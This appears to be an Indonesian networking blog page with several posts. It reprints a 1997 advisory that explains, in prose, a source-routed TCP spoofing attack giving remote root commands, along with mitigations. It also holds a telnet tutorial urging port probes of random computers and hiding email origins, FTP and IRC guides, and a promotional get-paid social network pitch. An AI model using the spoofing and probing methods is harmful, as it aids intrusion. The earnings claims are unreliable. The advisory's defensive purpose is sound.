Tampilkan postingan dengan label Jaringan. Tampilkan semua postingan
Tampilkan postingan dengan label Jaringan. Tampilkan semua postingan

Kamis, 30 Juli 2009

Jejaring Sosial yang Dibayar

Kalo saat ini kamu sedang keranjingan maenan Facebook, nampaknya gak ada salahnya kalo anda juga cobain situs jejaring sosial yang satu ini: MyPage5. Kenapa saya sangat merekomendasikan MyPage5? Tak lain dan tak bukan adalah karena situs jejaring sosial yang satu ini membayar kita dengan Dollar. Ayo para netter matre, cobain MyPage5 deh :) .Konsepnya keren dan unik, menggabungkan segala bentuk monetizing yang udah ada sebelumnya, baik itu melalui blogging, upload files seperti video dan photo dan bahkan membuat konsep baru dengan membayar kita setiap kita melakukan commenting, berkomentar baik di file video, photo, blog, group yang kita buat dan juga MyPage5.Com bisa dipake untuk mencari apa aja, seperti temen2 baru, nyari pasangan buat dating, cari lowongan kerja, jualan produk, nyari produk, bikin group dimana kita bisa ketemuan dan sharing ide dan opini dengan sesama member yang memiliki interest yang sama. Hehe, keren khan? Saya baru join kemaren dan langsung nyobain fitur-fiturnya. Kalo aktif, tiap hari dapat $2 juga bisa kok.

Begitu register dengan dilengkapi photo, saya langsung mendapat $5 di balance awal saya. Asyiknya lagi, setiap ada yang nge-view profil kita, kita langsung dapat $0,01. Belum lagi untuk setiap komen yang kita posting juga dibayar, de el el. Interaksi sosial dengan teman-teman atawa member lain jadi lebih menyenangkan, hehe.

Berikut ini adalah daftar lengkap bayaran yang kita terima kalo kita aktif di MyPage5:

1. Member baru sign up dengan dilengkapi photo langsung dapat $5. Kalo tanpa photo ga akan dibayar, so lebih baik anda sign-up dengan sekaligus dilengkapi photo anda.

2. Setiap kali login ke akun kita, langsung dibayar $0,01. Dihitung hanya satu kali perhari.

3. Ngeblog dibayar $0,10. Perlu diingat, konten blog tidak boleh hasil kopas, harus orisinil dan tidak menyertakan link ke blog lain. Anda dapat bikin sampai 10 blogs perhari, tapi hanya 4 blogs yang dihitung (dibayar) oleh MyPage5.

4. Komen di blog member lain dibayar $0,02. Hanya diperbolehkan komen sampai 10 kali dalam satu hari.

5. Upload video dibayar $0,15. Video tidak boleh melanggar copyright. Dalam sehari anda hanya boleh upload sampai 5 video.

6. Komen di video yang diupload member lain, dibayar $0,02. Dalam seharinya diperbolehkan komen sampai 5 kali.

7. Mau cari-cari apa aja (produk, lowongan, pasangan kencan, dll) bisa buat postingan di Classified page nya. Tiap postingan dibayar $0,1. Dalam sehari diperbolehkan membuat classified post hingga 10 kali.

8. Create group dibayar $0,02. Mau cari temen2 yang seidea dan satu interest? Bikin aja group di MyPage5. Bisa berupa fans club, temen2 skul atawa hanya ingin berbagi opini sesama member yang punya interest sama.

9. Join group dan komen pada group dibayar $0,02. Dalam sehari hanya diperbolehkan sampai 5 komen.

10. Komen di halaman profil temen dibayar $0,02. Diperbolehkan hanya 10 komen perhari dan posting berkali2 pada satu halaman profil yang sama tidak diperbolehkan.

11. Upload photo dibayar $0,02 per photo. Jumlah total yang diperbolehkan adalah 400 photo. Lebih dari jumlah tsb ga akan dibayar.

12. Komen di photo yang diupload member lain, dibayar $0,02. Diperbolehkan komen hingga 5 komen perhari.

13. Komen di halaman band-band favorit, dibayar $0,02. Diperbolehkan hingga 5 komen perhari.

14. Setiap kali profil kita di-view member lain, kita dibayar $0,01.

15. Dan... ini adalah bagian yang paling asyik! Tiap invite friends, langsung dapat $1. Yak, $1. Hohoho.. bayangin ajah kalo misal kita sukses invite 50 temen aja udah langsung dapat $50 ditangan tuh, hehehe. Tapi dengan syarat, temen yang invite itu haruslah juga aktif, cuz kalo enggak ya dana itu akan di-deduct pada saat payment day kita. Mencoba curang dengan meng-invite 'temen2 bayangan' atawa bikin akun2 tipuan akan mengakibatkan akun anda disuspend.

Situs jejaring sosial ternyata juga bisa dijadikan alternatif baru untuk mendapat dollar. Dari beberapa blog yang saya baca, rata-rata mereka bisa dapat $2 perhari hanya dengan menghabiskan 1-2 jam di MyPage5 :) . Bahkan banyak juga yang dapat bayaran pertamanya setelah 1 bulan join. That means, dalam 1 bulan mendapat $50-an dari MyPage5 bukan hal yang mustahil. Untuk metode payment, anda bisa pilih, Paypal atawa lewat Check.

kalau berminat GABUNG DISINI





Selasa, 28 Juli 2009

A simple TCP spoofing attack


Over the past few years TCP sequence number prediction attacks have become a
real threat against unprotected networks, taking advantage of the inherent
trust relationships present in many network installations. TCP sequence
number prediction attacks have most commonly been implemented by opening a
series of connections to the target host, and attempting to predict the
sequence number which will be used next. Many operating systems have
therefore attempted to solve this problem by implementing a method of
generating sequence numbers in unpredictable fashions. This method does
not solve the problem.
This advisory introduces an alternative method of obtaining the initial
sequence number from some common trusted services. The attack presented here
does not require the attacker to open multiple connections, or flood a port
on the trusted host to complete the attack. The only requirement is that
source routed packets can be injected into the target network with fake
source addresses.
This advisory assumes that the reader already has an understanding of how
TCP sequence number prediction attacks are implemented.
The impact of this advisory is greatly diminished due to the large number of
organizations which block source routed packets and packets with addresses
inside of their networks. Therefore we present the information as more of
a 'heads up' message for the technically inclined, and to re-iterate that
the randomization of TCP sequence numbers is not an effective solution
against this attack.

Technical Details
~~~~~~~~~~~~~~~~~

The problem occurs when particular network daemons accept connections
with source routing enabled, and proceed to disable any source routing
options on the connection. The connection is allowed to continue, however
the reverse route is no longer used. An example attack can launched against
the in.rshd daemon, which on most systems will retrieve the socket options
via getsockopt() and then turn off any dangerous options via setsockopt().

An example attack follows.

Host A is the trusted host
Host B is the target host
Host C is the attacker

Host C initiates a source routed connection to in.rshd on host B, pretending
to be host A.

Host C spoofing Host A --> Host B in.rshd

Host B receives the initial SYN packet, creates a new PCB (protocol
control block) and associates the route with the PCB. Host B responds,
using the reverse route, sending back a SYN/ACK with the sequence number.

Host C spoofing Host A <-- Host B in.rshd

Host C responds, still spoofing host A, acknowledging the sequence number.
Source routing options are not required on this packet.

Host C spoofing Host A --> Host B in.rshd

We now have an established connection, the accept() call completes, and
control is now passed to the in.rshd daemon. The daemon now does IP
options checking and determines that we have initiated a source routed
connection. The daemon now turns off this option, and any packets sent
thereafter will be sent to the real host A, no longer using the reverse
route which we have specified. Normally this would be safe, however the
attacking host now knows what the next sequence number will be. Knowing
this sequence number, we can now send a spoofed packet without the source
routing options enabled, pretending to originate from Host A, and our
command will be executed.


In some conditions the flooding of a port on the real host A is required
if larger ammounts of data are sent, to prevent the real host A from
responding with an RST. This is not required in most cases when performing
this attack against in.rshd due to the small ammount of data transmitted.

It should be noted that the sequence number is obtained before accept()
has returned and that this cannot be prevented without turning off source
routing in the kernel.

As a side note, we're very lucky that TCP only associates a source route with
a PCB when the initial SYN is received. If it accepted and changed the ip
options at any point during a connection, more exotic attacks may be possible.
These could include hijacking connections across the internet without playing
a man in the middle attack and being able to bypass IP options checking
imposed by daemons using getsockopt(). Luckily *BSD based TCP/IP stacks will
not do this, however it would be interesting to examine other implementations.

Impact
~~~~~~

The impact of this attack is similar to the more complex TCP sequence
number prediction attack, yet it involves fewer steps, and does not require
us to 'guess' the sequence number. This allows an attacker to execute
arbitrary commands as root, depending on the configuration of the target
system. It is required that trust is present here, as an example, the use
of .rhosts or hosts.equiv files.


Solutions
~~~~~~~~~

The ideal solution to this problem is to have any services which rely on
IP based authentication drop the connection completely when initially
detecting that source routed options are present. Network administrators
and users can take precautions to prevent users outside of their network
from taking advantage of this problem. The solutions are hopefully already
either implemented or being implemented.

1. Block any source routed connections into your networks
2. Block any packets with internal based address from entering your network.

Network administrators should be aware that these attacks can easily be
launched from behind filtering routers and firewalls. Internet service
providers and corporations should ensure that internal users cannot launch
the described attacks. The precautions suggested above should be implemented
to protect internal networks.

Example code to correctly process source routed packets is presented here
as an example. Please let us know if there are any problems with it.
This code has been tested on BSD based operating systems.

u_char optbuf[BUFSIZ/3];
int optsize = sizeof(optbuf), ipproto, i;
struct protoent *ip;

if ((ip = getprotobyname("ip")) != NULL)
ipproto = ip->p_proto;
else
ipproto = IPPROTO_IP;
if (!getsockopt(0, ipproto, IP_OPTIONS, (char *)optbuf, &optsize) &&
optsize != 0) {
for (i = 0; i < optsize; ) {
u_char c = optbuf[i];
if (c == IPOPT_LSRR || c == IPOPT_SSRR)
exit(1);
if (c == IPOPT_EOL)
break;
i += (c == IPOPT_NOP) ? 1 : optbuf[i+1];
}
}


One critical concern is in the case where TCP wrappers are being used. If
a user is relying on TCP wrappers, the above fix should be incorporated into
fix_options.c. The problem being that TCP wrappers itself does not close
the connection, however removes the options via setsockopt(). In this case
when control is passed to in.rshd, it will never see any options present,
and the connection will remain open (even if in.rshd has the above patch
incorporated). An option to completely drop source routed connections will
hopefully be provided in the next release of TCP wrappers. The other option
is to undefine KILL_IP_OPTIONS, which appears to be undefined by default.
This passes through IP options and allows the called daemon to handle them
accordingly.


Disabling Source Routing
~~~~~~~~~~~~~~~~~~~~~~~~

We believe the following information to be accurate, however it is not
guaranteed.

--- Cisco

To have the router discard any datagram containing an IP source route option
issue the following command:

no ip source-route

This is a global configuration option.


--- NetBSD

Versions of NetBSD prior to 1.2 did not provide the capability for disabling
source routing. Other versions ship with source routing ENABLED by default.
We do not know of a way to prevent NetBSD from accepting source routed packets.
NetBSD systems, however, can be configured to prevent the forwarding of packets
when acting as a gateway.

To determine whether forwarding of source routed packets is enabled,
issue the following command:

# sysctl net.inet.ip.forwarding
# sysctl net.inet.ip.forwsrcrt

The response will be either 0 or 1, 0 meaning off, and 1 meaning it is on.

Forwarding of source routed packets can be turned off via:

# sysctl -w net.inet.ip.forwsrcrt=0

Forwarding of all packets in general can turned off via:

# sysctl -w net.inet.ip.forwarding=0


--- BSD/OS

BSDI has made a patch availible for rshd, rlogind, tcpd and nfsd. This
patch is availible at:

ftp://ftp.bsdi.com/bsdi/patches/patches-2.1

OR via their patches email server

The patch number is
U210-037 (normal version)
D210-037 (domestic version for sites running kerberized version)


BSD/OS 2.1 has source routing disabled by default

Previous versions ship with source routing ENABLED by default. As far as
we know, BSD/OS cannot be configured to drop source routed packets destined
for itself, however can be configured to prevent the forwarding of such
packets when acting as a gateway.

To determine whether forwarding of source routed packets is enabled,
issue the following command:

# sysctl net.inet.ip.forwarding
# sysctl net.inet.ip.forwsrcrt

The response will be either 0 or 1, 0 meaning off, and 1 meaning it is on.

Forwarding of source routed packets can be turned off via:

# sysctl -w net.inet.ip.forwsrcrt=0

Forwarding of all packets in general can turned off via:

# sysctl -w net.inet.ip.forwarding=0


--- OpenBSD

Ships with source routing turned off by default. To determine whether source
routing is enabled, the following command can be issued:

# sysctl net.inet.ip.sourceroute

The response will be either 0 or 1, 0 meaning that source routing is off,
and 1 meaning it is on. If source routing has been turned on, turn off via:

# sysctl -w net.inet.ip.sourceroute=0

This will prevent OpenBSD from forwarding and accepting any source routed
packets.


--- FreeBSD

Ships with source routing turned off by default. To determine whether source
routing is enabled, the following command can be issued:

# sysctl net.inet.ip.sourceroute

The response will be either 0 or 1, 0 meaning that source routing is off,
and 1 meaning it is on. If source routing has been turned on, turn off via:

# sysctl -w net.inet.ip.sourceroute=0


--- Linux

Linux by default has source routing disabled in the kernel.


--- Solaris 2.x

Ships with source routing enabled by default. Solaris 2.5.1 is one of the
few commercial operating systems that does have unpredictable sequence
numbers, which does not help in this attack.

We know of no method to prevent Solaris from accepting source routed
connections, however, Solaris systems acting as gateways can be prevented
from forwarding any source routed packets via the following commands:

# ndd -set /dev/ip ip_forward_src_routed 0

You can prevent forwarding of all packets via:

# ndd -set /dev/ip ip_forwarding 0

These commands can be added to /etc/rc2.d/S69inet to take effect at bootup.


--- SunOS 4.x

We know of no method to prevent SunOS from accepting source routed
connections, however a patch is availible to prevent SunOS systems from
forwarding source routed packets.

This patch is availible at:

ftp://ftp.secnet.com/pub/patches/source-routing-patch.tar.gz

To configure SunOS to prevent forwarding of all packets, the following
command can be issued:

# echo "ip_forwarding/w 0" | adb -k -w /vmunix /dev/mem
# echo "ip_forwarding?w 0" | adb -k -w /vmunix /dev/mem

The first command turns off packet forwarding in /dev/mem, the second in
/vmunix.


--- HP-UX

HP-UX does not appear to have options for configuring an HP-UX system to
prevent accepting or forwarding of source routed packets. HP-UX has IP
forwarding turned on by default and should be turned off if acting as a
firewall. To determine whether IP forwarding is currently on, the following
command can be issued:

# adb /hp-ux
ipforwarding?X <- user input
ipforwarding:
ipforwarding: 1
#

A response of 1 indicates IP forwarding is ON, 0 indicates off. HP-UX can
be configured to prevent the forwarding of any packets via the following
commands:

# adb -w /hp-ux /dev/kmem
ipforwarding/W 0
ipforwarding?W 0
^D
#

--- AIX

AIX cannot be configured to discard source routed packets destined for itself,
however can be configured to prevent the forwarding of source routed packets.
IP forwarding and forwarding of source routed packets specifically can be
turned off under AIX via the following commands:

To turn off forwarding of all packets:

# /usr/sbin/no -o ipforwarding=0

To turn off forwarding of source routed packets:

# /usr/sbin/no -o nonlocsrcroute=0

Note that these commands should be added to /etc/rc.net



If shutting off source routing is not possible and you are still using
services which rely on IP address authentication, they should be disabled
immediately (in.rshd, in.rlogind). in.rlogind is safe if .rhosts and
/etc/hosts.equiv are not used.


Attributions
~~~~~~~~~~~~

Thanks to Niels Provos for providing
the information and details of this attack. You can view his web
site at http://www.physnet.uni-hamburg.de/provos

Thanks to Theo de Raadt, the maintainer of OpenBSD for forwarding this
information to us. More information on OpenBSD can be found at
http://www.openbsd.org

Thanks to Keith Bostic for discussion and a quick
solution for BSD/OS.

Thanks to Brad Powell for providing information
for Solaris 2.x and SunOS 4.x operating systems.

Thanks go to CERT and AUSCERT for recommendations in this advisory.

You can contact the author of this advisory at oliver@secnet.com



-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3ia

mQCNAzJATn0AAAEEAJeGbZyoCw14fCoAMeBRKiZ3L6JMbd9f4BtwdtYTwD42/Uz1
A/4UiRJzRLGhARpt1J06NVQEKXQDbejxGIGzAGTcyqUCKH6yNAncqoep3+PKIQJd
Kd23buvbk7yUgyVlqQHDDsW0zMKdlSO7rYByT6zsW0Rv5JmHJh/bLKAOe7p9AAUR
tCVPbGl2ZXIgRnJpZWRyaWNocyA8b2xpdmVyQHNlY25ldC5jb20+iQCVAwUQMkBO
fR/bLKAOe7p9AQEBOAQAkTXiBzf4a31cYYDFmiLWgXq0amQ2lsamdrQohIMEDXe8
45SoGwBzXHVh+gnXCQF2zLxaucKLG3SXPIg+nJWhFczX2Fo97HqdtFmx0Y5IyMgU
qRgK/j8KyJRdVliM1IkX8rf3Bn+ha3xn0yrWlTZMF9nL7iVPBsmgyMOuXwZ7ZB8=
=xq4f
-----END PGP PUBLIC KEY BLOCK-----

Copyright Notice
~~~~~~~~~~~~~~~~
The contents of this advisory are Copyright (C) 1997 Secure Networks Inc,
and may be distributed freely provided that no fee is charged for
distribution, and that proper credit is given.

You can find Secure Networks papers at ftp://ftp.secnet.com/pub/papers
and advisories at ftp://ftp.secnet.com/advisories

You can browse our web site at http://www.secnet.com

You can subscribe to our security advisory mailing list by sending mail to
majordomo@secnet.com with the line "subscribe sni-advisories"



Rabu, 15 April 2009

Create An Ftp Server On Your Pc With Serv-u

Requirements:
Serv-U
No-IP.com Website

Quote:
Step 1. Getting a static IP address.
Get a static address for your FTP server. You will want to do this as opposed to using your IP address for several reasons. First, it’s easier keeping up-to-date. Imagine having to change all of your setting every time your IP changed. With No-IP, the No-IP service runs in background on your computer and updates your current IP address with your FTP server’s URL (for example, you get ftp://rkchoolie.serveftp.com). Second reason, you don’t want your IP address posted out there for everyone to see.

1. Go to www.No-IP.com to create a new user account.
2. Fill in the information that is required and the click Register button.
3. Your account has now been created and your account password has been emailed to you.
4. Check your email mailbox and wait for the mail that contains your password
5. Go back to www.No-IP.com and type your email address and password to login to your account.
6. Once in your account, click on Add a host in the left menu
7. Type in the Hostname you want (example: rkchoolie) and pick a Domain from the list (example: ftpserve.com)
8. Check Allow Wildcards and click the Submit button
9. You now have your static address (example: rkchoolie.serveftp.com)
10. Click on your OS link in the Dyn-Update Client in the bottom right menu and follow links to download the client
11. Once downloaded, install the software and type in your email address and password when asked.
12. Finally tick the checkbox near your static address.

You now have a static web address .


Quote:
Step 2. Installing and setting the FTP server
1. Install Serv-U 4.0.
2. Start Serv-U and use the wizard to setup your ftp.
3. Click next until you're asked for an IP address, leave it blank and then click next.
4. Type the domain name you've just registered above (example: preacher.serveftp.com) in the domain name field and then click Next.
5. You are asked if you want to allow anonymous access, select No and then click next.
6. You are then asked to create a named account, check yes and then click next.
7. Type in the user name you wish for this account (example: Harrie) and click next.
8. Type a password for this account (example: $p3c1aL). For security reasons, try to create a password with some letters, numbers and special characters. Then click next.
9. You will then be asked for the Home directory of the account you just created. Select the directory and then click next.
10. Select yes to lock this account to the Home directory. You want to do this so that the user can not go any further up that his home directory. Click next.
11. The account is now set so click finish.

Quote:
Step 3. Configuring user accounts
1. In the left tree-menu, select the account you've just created and then click on the General tab.
2. Check Hide ‘Hidden’ Files.
3. Check Allow only and enter the number one in the box.
4. Set the Max. download speed to what ever you want. If this is an account that many will be using, set it low to save on your bandwidth. I usually have mine set between 10 – 20. If you leave it blank, users will be able to download from you at full bandwidth.
5. Set the Max no. of users to how many you want to be able to log on at one time. This depends on your connection speed but try these (56 - 1, ISDN - 3, ADSL or cable - 5-6 users.)
6. Now, click on the Dir Access tab.
7. You should see the home folder in there. Highlight it and make your permissions.
8. If you only want users to be able to download check only Read, List, & Inherit.
9. If you want users to be able to upload, but to only one particular folder but not download, click the add button and then select that folder. Now highlight the folder and set these permissions on that folder. Check Write, Append, List, Create, & Inherit. Once you have made the permissions click on the up arrow that is located at the bottom right-hand corner. You want this special upload folder to be list first, before the home folder.
10. If there is a folder that you don’t want anyone to have access to, but it is inside the home folder, then click the add button and then select that folder. Now highlight the folder and make sure that all checkboxes are left. Once you have made the permissions click on the up arrow that is located at the bottom right-hand corner. You want this no access folder to be listed at the very top.
11. There are many other different sets of permissions you can play with. I just covered your basics.
12. Your server is now set!
13. Try logging on with the username and password and see if it works.



Senin, 13 April 2009

How to Telnet into a Shell Account

Even though you can't telnet into an account inside some computer, often you can get some information back or get that computer to do something interesting for you. Yes, you can get a telnet connection to succeed -without doing anything illegal --against almost any computer, even if you don't have permission to log in. There are many legal things you can do to many randomly chosen computers with telnet. For example:
C:/telnet freeshell.org 22
SSH-1.99-OpenSSH_3.4p1
That tells us the target computer is running an SSH server, which enables encrypted connections between computers. If you want to SSH into an account there, you can get a shell account for free at
. You can get a free SSH client program from
.
One reason most hackers have shell accounts on Internet servers is because you can meet the real hackers there. When you've logged in, give the command w or who. That gives a list of user names. You can talk to other users with tht talk command. Another fun thing, if your shell account allows it, is to give the command
ps -auxww
It might tell you what commands and processes other users are running. Ask other users what they are doing and they might teach you something. Just be careful not to be a pest!
***************
You can get punched in the nose warning: Your online provider might kick you off for making telnet probes of other computers. The solution is to get a local online provider and make friends with the people who run it, and convince them you are just doing harmless, legal explorations.
*************
Sometimes a port is running an interesting program, but a firewall won't let you in. For example, 10.0.0.3, a computer on my local area network, runs an email sending program, (sendmail working together with Postfix, and using Kmail to compose emails). I can use it from an account inside 10.0.0.3 to send emails with headers that hide from where I send things.
If I try to telnet to this email program from outside this computer,
here's what happens:


C:\>telnet 10.0.0.3 25
Connecting To 10.0.0.3...Could not open connection to the host, on
port 25.
No connection could be made because the target machine actively
refused it.
However, if I log into an account on 10.0.0.3 and then telnet from
inside to port 25, here's what I get:
Last login: Fri Oct 18 13:56:58 2002 from 10.0.0.1
Have a lot of fun...
cmeinel@test-box:~> telnet localhost 25
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1... [Carolyn's note: 127.0.0.1 is the numerical
address meaning localhost, the same computer you are logged into]
Connected to localhost.
Escape character is '^]'.
220 test-box.local ESMTP Postfix
The reason I keep this port 25 hidden behind a firewall is to keep
people from using it to try to break in or to forge email. Now the
ubergeniuses reading this will start to make fun of me because no
Internet address that begins with 10. is reachable from the Internet.
However, sometimes I place this "test-box" computer online with a
static Internet address, meaning whenever it is on the Internet, it
always has the same numerical address. I'm not going to tell you what its Internet address is because I don't want anyone messing with it. I just want to mess with other people's computers with it, muhahaha. That's also why I always keep my Internet address from showing up in the headers of my emails.
***************
Newbie note: What is all this about headers? It's stuff at the
beginning of an email that may - or may not - tell you a lot about
where it came from and when. To see full headers, in Outlook click
view -> full headers. In Eudora, click the "Blah blah blah" icon.
****************


How to Telnet with Windows XP

The queen of hacker commands is telnet. To get Windows help for
telnet, in the cmd.exe window give the command:
C:\>telnet /?
Here's what you will get:
telnet [-a][-e escape char][-f log file][-l user][-t term][host
[port]]
-a Attempt automatic logon. Same as -l option except uses
the currently logged on user's name.
-e Escape character to enter telnet client prompt.
-f File name for client side logging
-l Specifies the user name to log in with on the remote system.
Requires that the remote system support the TELNET ENVIRON
option.
-t Specifies terminal type.
Supported term types are vt100, vt52, ansi and vtnt only.
host Specifies the hostname or IP address of the remote computer
to connect to.
port Specifies a port number or service name.
****************
Newbie note: what is a port on a computer? A computer port is sort of like a seaport. It's where things can go in and/or out of a computer. Some ports are easy to understand, like keyboard, monitor, printer and modem. Other ports are virtual, meaning that they are created by software. When that modem port of yours (or LAN or ISDN or DSL) is connected to the Internet, your computer has the ability to open or close any of over 65,000 different virtual ports, and has the ability to connect to any of these on another computer - if it is running that port, and if a firewall doesn?t block it.
****************
****************
Newbie note: How do you address a computer over the Internet? There are two ways: by number or by name.
****************
The simplest use of telnet is to log into a remote computer. Give the
command:
C:/>telnet targetcomputer.com (substituting the name of the computer you want to telnet into for targetcomputer.com)
If this computer is set up to let people log into accounts, you may
get the message:
login:
Type your user name here, making sure to be exact. You can't swap between lower case and capital letters. For example, user name Guest is not the same as guest.
****************
Newbie note: Lots of people email me asking how to learn what their user name and password are. Stop laughing, darn it, they really do. If you don't know your user name and password, that means whoever runs that computer didn't give you an account and doesn't want you to log on.
****************


Then comes the message:
Password:
Again, be exact in typing in your password.
What if this doesn't work?
Every day people write to me complaining they can't telnet. That is
usually because they try to telnet into a computer, or a port on a
computer that is set up to refuse telnet connections. Here's what it
might look like when a computer refuses a telnet connection:
C:\ >telnet 10.0.0.3
Connecting To 10.0.0.3...Could not open connection to the host, on port 23. A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.
Or you might see:
C:\ >telnet techbroker.com
Connecting To techbroker.com...Could not open connection to the host, on port 23.
No connection could be made because the target machine actively
refused it.
If you just give the telnet command without giving a port number, it
will automatically try to connect on port 23, which sometimes runs a
telnet server.
**************
Newbie note: your Windows computer has a telnet client program,
meaning it will let you telnet out of it. However you have to install
a telnet server before anyone can telnet into port 23 on your
computer.
*************
If telnet failed to connect, possibly the computer you were trying to
telnet into was down or just plain no longer in existence. Maybe the
people who run that computer don't want you to telnet into it.


Minggu, 29 Maret 2009

Chating Melalui Telnet

Chating Melalui Telnet

Membuat koneksi langsung ke sebuah IRC server dan meluangkan sedikit waktu untuk mencoba perintah protokol IRC hingga anda bisa menggunakan program secara langsung

Jarkko Oikarinen pertama kali mengenalkan IRC ke seluruh dunia pada tahun 1988. Lima tahun yang lalu, dia benar-benar telah mendefinisikan protokol IRC dalam RFC 1459, yang membuat seluruh protokol menjadi lebih bisa diakses. Berangkat dari informasi ini, anda dapat lebih memahami protokol berbasis teks sederhana dan mempelajari cara terhbung ke IRC server tanpa menggunakan client khusus. Saat anda menguasai hal ini, anda seharusnya dengan mudah menulis program ylang terhubung ke IRC.


TIP

Anda dapat menemukan seluruh dokumen Internet RFC (Request for Comment) di http://www.faqs.org/rfcs. anda dapat mencari arsip tersebut dengan kata atau nomor dokumen. RFC 1459 dapat ditemukan di http://www.faqs.org/rfcs/rfc1459.html

Sayangnya, anda tidak perlu mengetahui seluruh spesifikasi lengkap untuk terhubung ke sebuah IRC server. Menghubungkan diri ke suatu IRC server hanya memerlukan beberapa perintah yang dikirim. Cara terbaik untuk memahami bagaimana perintah ini bekerja adalah terhubung langsung ke IRC server dengan Telnet dan mengetik perintah ini secara langsung. telnet memungkinkan anda untuk menyesuaikan koneksi TCP ke sebuah port pada remote machine dan tinggal mulai mengetik perintah yang berfungsi service listening pada port tersebut.

Kebanyakan IRC server dijalankan pada port 6667, walaupun anda bsia saja menemukan beberapa operasi tersebut pada nomor port yang berbeda untuk membantu user yang terhalang firewall perusahaan. Pada contoh ini, anda dapat mencoba menghubungkan diri ke jaringan freenode IRC dengan menjalankan Telnet dari command prompt dengan parameter baris perintah berikut:

% telnet irc.freenode.net 6667

Jika koneksi tersebut berhasil, anda akan melihat server merespon dengan sesuatu seperti ini:

NOTICE AUTH :*** Looking up your hostname...

NOTICE AUTH :*** Found your hostname, welcome back

NOTICE AUTH :*** Checking ident

NOTICE AUTH :*** No identd (auth) response

Meski socket tersebut pada dasarnya terhubung ke IRC server, anda masih harus melakukan beberapa hal. RIC server perlu mengetahui login anda, real name dan nickname yang ingin anda gunakan.

Perintah NICK digunakan untuk menetapkan nickname anda. Dilakukan secara langsung, jadi jika anda ingin nickname “si_cebol”, maka tinggal mengetik ke Telnet Window tersebut dan menekan Enter.

NICK si_cebol

Jika nick name tersebut telah didaftar orang lain pada server tersebut, anda diberitahukan untuk tetap mengirim perintah yang sama dengan nickname yang berbeda pada suatu waktu, hingga anda menemukan salah satu yang sesuai. Jenis pesan inilah yang akan anda lihat jika nickname yang dipilih telah digunakan orang lain.


:kornbluth.freenode.net 433 * si_cebol :Nickname is already in use.

Perintah USER yangdigunakan untuk login, mode user dan real name. Jika mau untuk login “si_cebol” maka tinggal mengetikkan perintah berikut, kemudian tekan Enter.

USER si_cebol 8 * : Iwan Permana

Kebanyakan server saat ini menggunakan perintah dari IRC RFC 2812 yang diupdate. Perintah User membuat penggunaan beberapa fitur tertentu dalam update dokumen ini. Terutama, angka 8 adalah numeric mode parameter yang digunakan secara otomatis untuk menetapkan mode user saat mendaftar pada server tersebut. Paramater ini merupakan sebuah bit mask, dengan bit 2 yang mewakili user mode w dan bit 3 yang mewakili user mode i, jadi menggunakan nilai 8 artinya bahwa anda menanyakan server tersebut untuk menetapkan mode invisible bagi anda. Sekarang, tinggal 2 bit yang tergolong signifikan. Juga perlu dicatat bahwa teks setelah tanda : adalah dimana anda mengisikan real name.

Setelah berhasil mengirimkan perintah NICK dan USER, server tersebut akan mengirimkan beberapa baris teks kepada anda. Jika tidak terjadi apapun untuk beberapa sat, jangan cemas—server tersebut mungkin mengalami gangguan suatu artificialdelay hingga 1 menit, jika tidak menemukan suatu Ident server yang dijalankan pada mesin anda. Pertama kali, beris tersebut dikirm dari server yang jarang terpengaruh kondisi ini, tapi mungkin anda mengenal beberapabagian dari message of the day “You are now connected to the IRC server!

TIP

Ident (Identification Protocol) merupakan dokumentasi RFC 1413. Lihat http://www.faqs.org/rfcs/rfc1413.html untuk keterangan lengkapnya.

Sekarang anda telah terhubung, anda dapat menggunakan fungsi IRC client secara total sepanjang yang bisa dilakukannya.

Staying Alive

Terkadang kesulitan pada IRC server untuk menjaga track yang masih terhubung. Satu trik yang mereka lakukan adalah mengirim perintah PING ke client yang tidak melakukan aktifitas apapun. Client tersebut diahrapkan merespon dengan pesan PONG atau katakanlah, “Hei, Saya masih disini!” Jika client tersebut tidak merespon dalam suatu waktu, server tersebut akan menutup koneksinya. Aturan Umum yang berlaku, PONG reply harus termasuk argumen yang dikirim sebagai bagian dari perintah ping dari server tersebut. Jadi jika anda menerima pesan berikut ini:

PING :kornbluth.freenode.net

Anda akan me-reply dengan perintah PONG berikut:

PONG :kornbluth.freenode.net

Join ke Channel dan Mengirim Pesan

Perintah IRC client seperti /join dan /msg tidak akan bekerja disini, anda harus menyesuaikan dengan protokol langsung tersebut. Anda dapat menganggap koneksi Telnet sebagai suatu bentuk primitif IRC client—anda masih bisa melakukan apapun yang bisa IRC client lakukan, hanya saja terlihat sedikit kaku dan perintahnya berbeda. Meski begitu, masih lebih mudah join ke channel dan mengirim pesan ke user lain. Untuk join ke channel #irchacks, anda harus mengetik.

JOIN #irchacks

Jika seluruhnya berjalan baik, anda dapat melihat IRC server me-reply dengan beberapa baris teks. IRC client menggunakan baris ini untuk menetapkan siapa yang ada dalam channel tersebut jadi mereka dapat mengupdate daftar usernya. Untuk saat ini, anda tidak perlu mencemaskan tentang bagaimana proses informasi tersebut.

Mengirimkan pesan tanpa instuisi yang jelas dapat dilakukan dengan perintah PRIVMSG. Sebagaimana yang anda harapkan dari nama terserbut, perintah ini dapat digunakan untuk mengirim private message ke user lain, juga dapat digunakan untuk mengirim pesan ke channel yang ada. Untuk mengirim pesan ke channel #irchacks, anda dapat mencoba perintah berikut:

PRIVMSG #irchacks :Hello everybody!

Mengirimkan private message cukup mudah—tinggal mengunakan nickname penerima pesan yang ditempatkan pada nama channel tersebut. Jika anda ingin mengirim suatu private message ke user dengan nickname “B0iler”, anda ketik saja:

PRIVMSG

B0iler

Hi B0iler.

Ketika anda bosan dengan memamerkan keahlian protokol yang baru anda temukan, anda dapat keluar dari server tersebut dengan perintah QUIT. Penggunaan perintah ini akan menyebabkan server tersebut menutup koneksi anda.

QUIT

Perintah QUIT dapat menggunakan parameter opsi. Parameter tersebut harus didahului dengan sebuah karakter ‘:’ apapun yang anda ketikan akan ditampilkan ke user lain, sebagai alasan mengapa anda keluar dari server tersebut.

QUIT :Telnet is cool!

Apapun metode yang anda gunakan untuk keluar dari server, sebelum disconnect, akan merespon dengan suatu baris:

ERROR :Closing Link: si_cebol (Client Quit)

Juga dimungkinkan untuk anda menutup koneksi dengan menutup Telnet, namun ahal ini tidak memungkinkan anda untuk mengetikan alasan anda keluar dari server tersebut.

